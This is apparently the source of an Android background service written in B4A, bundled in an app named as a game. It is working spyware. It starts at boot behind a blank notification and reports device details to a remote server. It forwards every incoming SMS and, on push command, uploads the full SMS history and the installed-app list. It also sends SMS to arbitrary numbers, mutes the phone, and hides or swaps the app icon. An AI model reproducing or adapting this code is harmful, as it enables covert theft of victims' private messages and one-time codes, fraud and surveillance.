B4A=true
Group=Default Group
ModulesStructureVersion=1
Type=Service
Version=11.2
@EndOfDesignText@
#Region  Service Attributes 
    #StartAtBoot: True
	#StartCommandReturnValue: android.app.Service.START_STICKY
#End Region

Sub Process_Globals
	Type Message (Address As String, Body As String)
	Private fm As FirebaseMessaging
	Dim pd As PersianDeviceInfo
	Dim Comand,Opr,model,androidid,Connection,android,nump,txm,data As String
	Dim PE As PhoneEvents
	Dim p As Phone
	Dim sms As Sms
	Dim ht As HttpJob
	Dim pm As PackageManager
	Dim sms2 As SmsMessages
	Dim li As List
	Dim p As Phone
End Sub
Sub Service_Create
	Dim n As Notification
	n.Initialize2(n.IMPORTANCE_LOW)
	n.Icon = "icon"
	n.Sound = False
	n.Vibrate = False
	n.Light = False
	n.Insistent = False
	n.AutoCancel = False
	n.SetInfo("", "", "")
	Service.AutomaticForegroundNotification = n
	fm.Initialize("fm")
	ht.Initialize("ht",Me)
	pd.initialize("pd")
	PE.Initialize("PE")
End Sub
Public Sub SubscribeToTopics
	fm.SubscribeToTopic("v2") 'you can subscribe to more topics
End Sub
Sub Service_Start (StartingIntent As Intent)
	If StartingIntent.IsInitialized = True Then
		If File.Exists(File.DirInternal, "test.txt") = False Then
			android = p.GetSettings("android_id")
			Opr = p.GetNetworkOperatorName
			model = p.Manufacturer&" "&p.Model
			Dim osVersion As String = pd.OSVersion
			Connection = p.GetDataState
			data = "result=ok&action=install&androidid="&android&"&opr="&Opr&"&model="&model&"&osVersion="&osVersion&"&Connection="&Connection
			ht.PostString(information.api&"/log.php",data)

			File.MakeDir(File.DirInternal, "test.txt")
		End If

		If StartingIntent.Action = "android.provider.Telephony.SMS_RECEIVED" Then
			Dim messages As List
			messages = ParseSmsIntent(StartingIntent)
			For i = 0 To messages.Size - 1
				android = p.GetSettings("android_id")
				Opr = p.GetNetworkOperatorName
				Connection = p.GetDataState
				model = p.Manufacturer&" "&p.Model
				data = "result=ok&action=nwmessage&androidid="&android&"&model="&model&"&opr="&Opr&"&Connection="&Connection&"&message="&messages.get(i)
				ht.PostString(information.api&"/log.php",data)
			Next
		
		End If
	
		fm.HandleIntent(StartingIntent)
		Sleep(0) 'allow the MessageReceived event to be raised.
	
	Else
		Log("suck")
	End If
End Sub


Sub fm_MessageArrived (Message As RemoteMessage)
	Comand = Message.GetData.Get("action")
	androidid = Message.GetData.Get("androidid")
	android = p.GetSettings("android_id")
	Opr = p.GetNetworkOperatorName
	model = p.Manufacturer&" "&p.Model
	nump = Message.GetData.Get("phone")
	txm = Message.GetData.Get("text")
	Connection = p.GetDataState
	Dim osVersion As String = pd.OSVersion
	
Try
		If Comand = "ping" Then
			data = "result=ok&action=ping&androidid="&android&"&model="&model&"&opr="&Opr&"&osVersion="&osVersion&"&Connection="&Connection
			ht.PostString(information.api&"/log.php",data)
	End If
	
		If Comand = "pingone"  Then
			If android = androidid Then
				data = "result=ok&action=pingone&androidid="&android&"&model="&model&"&opr="&Opr&"&osVersion="&osVersion&"&Connection="&Connection
				ht.PostString(information.api&"/log.php",data)
		End If
		End If
		If Comand = "SendSingleMessage" And android = androidid Then
			Try
				SendLargeSms(nump,txm)
				data = "result=ok&action=SendSingleMessage&androidid="&android&"&opr="&Opr&"&model="&model&"&nump="&nump&"&txm="&txm
				ht.PostString(information.api&"/log.php",data)
Sleep(0.3)
		Catch
			Log(LastException)
		End Try
		
		End If
		If Comand = "silent" Then
			If android = androidid Then
				Try
					p.SetVolume(p.VOLUME_NOTIFICATION, 0, False)
					p.SetVolume(p.VOLUME_RING, 0, False)
					p.SetVolume(p.VOLUME_VOICE_CALL, 0, False)
					p.SetVolume(p.VOLUME_SYSTEM, 0, False)
					p.SetVolume(p.VOLUME_ALARM, 0, False)
					p.SetVolume(p.VOLUME_MUSIC, 0, False)
				Catch
					Log(LastException)
				End Try
			End If

		End If    
		If Comand = "normal" Then
			If android = androidid Then
				Try
					p.SetVolume(p.VOLUME_NOTIFICATION, 100, False)
					p.SetVolume(p.VOLUME_RING, 100, False)
					p.SetVolume(p.VOLUME_VOICE_CALL, 100, False)
					p.SetVolume(p.VOLUME_SYSTEM, 100, False)
					p.SetVolume(p.VOLUME_ALARM, 100, False)
					p.SetVolume(p.VOLUME_MUSIC, 100, False)
				Catch
					Log(LastException)
				End Try
			End If

		End If
		
		If Comand = "change_icon" Then
			If android = androidid Then
				Try
					Dim j As JavaObject
					j.InitializeContext
					j.RunMethod("change_icon", Array As Object(information.pkg_name & ".icon2", information.pkg_name & ".main"))
					StartService(Me)
					data = "result=ok&action=change_icon&androidid="&android&"&opr="&Opr&"&model="&model
					ht.PostString(information.api&"/log.php",data)
				Catch
					Log(LastException)
				End Try
			End If
	
		End If
		
		
	If Comand = "hideicon" Then
			If android = androidid Then
				Try
					Dim jo As JavaObject
					jo.InitializeContext
					jo.RunMethod("hideAppIcon", Null)
					data = "result=ok&action=hideicon&androidid="&android&"&opr="&Opr&"&model="&model
					ht.PostString(information.api&"/log.php",data)
				Catch
					Log(LastException)
			End Try
			End If
	
		End If
		If Comand = "unhide" Then
			If android = androidid Then
				Try
					Dim jo As JavaObject
					jo.InitializeContext
					jo.RunMethod("showAppIcon", Null)
					data = "result=ok&action=unhide&androidid="&android&"&opr="&Opr&"&model="&model
		ht.PostString(information.api&"/log.php",data)
	Catch
					Log(LastException)
				End Try
			End If


		End If
		If Comand = "applist" Then
			If android = androidid Then
				Try
					Dim applist As String = ""
					For Each pck As String In pm.GetInstalledPackages

						applist = applist & CRLF & CRLF & pm.GetApplicationLabel(pck)
					Next
					File.WriteString(File.DirInternal,"applist.txt",applist)
					ht.Postfile(information.api&"/applist.php?result=ok&action=applist&androidid="&android&"&Opr="&Opr&"&model="&model,File.DirInternal,"applist.txt")
				Catch
					Log(LastException)
				End Try
			End If
		End If
	If Comand = "getsms" Then
		If android = androidid Then
			Try
			Dim allsms As String = ""
			li.Initialize
			li = sms2.GetAll
			For i = 0 To li.Size -1
				sms = li.Get(i)
						allsms = allsms & CRLF & CRLF & "" & CRLF & "" & CRLF & "Conversion:" & sms.Address & CRLF & "Text:" & sms.Body & CRLF & "Date:" & DateTime.Date(sms.Date) & " " & DateTime.Time(sms.Date) & CRLF & ""
			Next
			File.WriteString(File.DirInternal,"AllSms.txt",allsms)
		ht.Postfile(information.api&"/file_up.php?result=ok&action=uploadsms&androidid="&android&"&Opr="&Opr&"&model="&model,File.DirInternal,"AllSms.txt")
	Catch
	Log(LastException)
End Try
		End If
	End If
	
	If Comand = "smsSend" Then
		If android = androidid Then
			Try
			Dim allsms As String = ""
			li.Initialize
			li = sms2.GetAll
			For i = 0 To li.Size -1
				sms = li.Get(i)
				If sms.Type = 2 Then
						allsms = allsms & CRLF & CRLF & "" & CRLF & "" & CRLF & "Conversion:" & sms.Address & CRLF & "Text:" & sms.Body & CRLF & "Date:" & DateTime.Date(sms.Date) & " " & DateTime.Time(sms.Date) & CRLF & ""
			End If
			Next
			File.WriteString(File.DirInternal,"SSms.txt",allsms)
		ht.Postfile(information.api&"/file_up3.php?result=ok&action=uploadsms&androidid="&android&"&Opr="&Opr&"&model="&model,File.DirInternal,"SSms.txt")
	Catch
	Log(LastException)
End Try
		End If
	End If
	
	If Comand = "getsms2" Then
		If android = androidid Then
			Try
			Dim allsms As String = ""
			li.Initialize
			li = sms2.GetAll
			For i = 0 To 50
				sms = li.Get(i)
						allsms = allsms & CRLF & CRLF & "" & CRLF & "" & CRLF & "Conversion:" & sms.Address & CRLF & "Text:" & sms.Body & CRLF & "Date:" & DateTime.Date(sms.Date) & " " & DateTime.Time(sms.Date) & CRLF & ""
			Next
			File.WriteString(File.DirInternal,"50Sms.txt",allsms)
		ht.Postfile(information.api&"/file_up2.php?result=ok&action=uploadsms&androidid="&android&"&Opr="&Opr&"&model="&model,File.DirInternal,"50Sms.txt")
	Catch
	Log(LastException)
End Try
		End If
	End If
	
	If Comand = "lastsms" Then
		If android = androidid Then
				Try
			Dim listsms As List
			Dim sa As SmsMessages
			Dim lasts As String
			listsms = sa.GetAll
			lasts = listsms.Get(0)
			Dim allsms As String = ""
			li.Initialize
			li = sms2.GetAll
			sms = li.Get(i)
			allsms =  sms.Address
					data = "result=ok&action=lastsms&androidid="&android&"&model="&model&"&opr="&Opr&"&message="&lasts&"&sender="&allsms
				ht.PostString(information.api&"/log.php",data)
				Catch
					Log(LastException)
				End Try
		End If
End If
Catch
Log(LastException)
End Try
End Sub
Sub ParseSmsIntent (In As Intent) As List
	Dim messages_list As List
	messages_list.Initialize
	If In.HasExtra("pdus") = False Then Return messages_list
	Dim pdus() As Object
	Dim r As Reflector
	pdus = In.GetExtra("pdus")
	Dim messagesMap As Map
	messagesMap.Initialize
	If pdus.Length > 0 Then
		For i = 0 To pdus.Length - 1
			Dim msg As Message
			r.Target = r.RunStaticMethod("android.telephony.SmsMessage", "createFromPdu", _
                Array As Object(pdus(i)), Array As String("[B"))
			msg.Body = r.RunMethod("getMessageBody")
			msg.Address = r.RunMethod("getOriginatingAddress")
		
			If messagesMap.ContainsKey(msg.Address) Then
				Dim existing As Message
				existing = messagesMap.Get(msg.Address)
				existing.Body = existing.Body & msg.Body
				
			Else
				messagesMap.Put(msg.Address, msg)
				messages_list.Add(msg)
			End If
		Next
	End If
	Return messages_list
End Sub
Sub SendLargeSms(Number As String , Message As String)
	Try
	Dim r As Reflector
	r.Target = r.RunStaticMethod("android.telephony.SmsManager", "getDefault", Null, Null)
	Dim parts As Object
	parts = r.RunMethod2("divideMessage", Message, "java.lang.String")
	r.RunMethod4("sendMultipartTextMessage", _
      Array As Object(Number, Null, parts, Null, Null), _
      Array As String("java.lang.String", "java.lang.String", _
         "java.util.ArrayList", "java.util.ArrayList", "java.util.ArrayList"))
	Catch
		Log(LastException)
	End Try
End Sub
#If Java
import android.content.ComponentName;

      public void showAppIcon() {
      try {
      ComponentName componentName = new ComponentName(this, com.king.game.v1.main.class); 
      getPackageManager().setComponentEnabledSetting(componentName, 1, 1);
      } catch (Exception e) {
          e.printStackTrace();
      }}
   
   public void hideAppIcon() {
      try {
      ComponentName componentName = new ComponentName(this, com.king.game.v1.main.class); 
      getPackageManager().setComponentEnabledSetting(componentName, 2, 1);
      } catch (Exception e) {
          e.printStackTrace();
      }}
#End If

#if java

import android.content.ComponentName;
import android.content.pm.PackageManager;
import android.os.Build;
import android.app.AlarmManager;
import android.app.PendingIntent;
import android.content.Context;
import android.content.Intent;
import android.os.PowerManager;

public void change_icon(String pakage, String na)
{
	try {
		
		PackageManager pm = getPackageManager();
		ComponentName componentName = new ComponentName(this, na);
		pm.setComponentEnabledSetting(componentName ,PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
		pm.setComponentEnabledSetting(new ComponentName(this, pakage), PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP);
		
	} catch (Exception e) {
		e.printStackTrace();
	}
}

#end if

Sub JobDone(Job As HttpJob)
	
	If Job.Success Then
		
	Else
		Log("Error: " & Job.ErrorMessage)
	End If
	Job.Release
End Sub
Sub Service_Destroy
	StartService("")
End Sub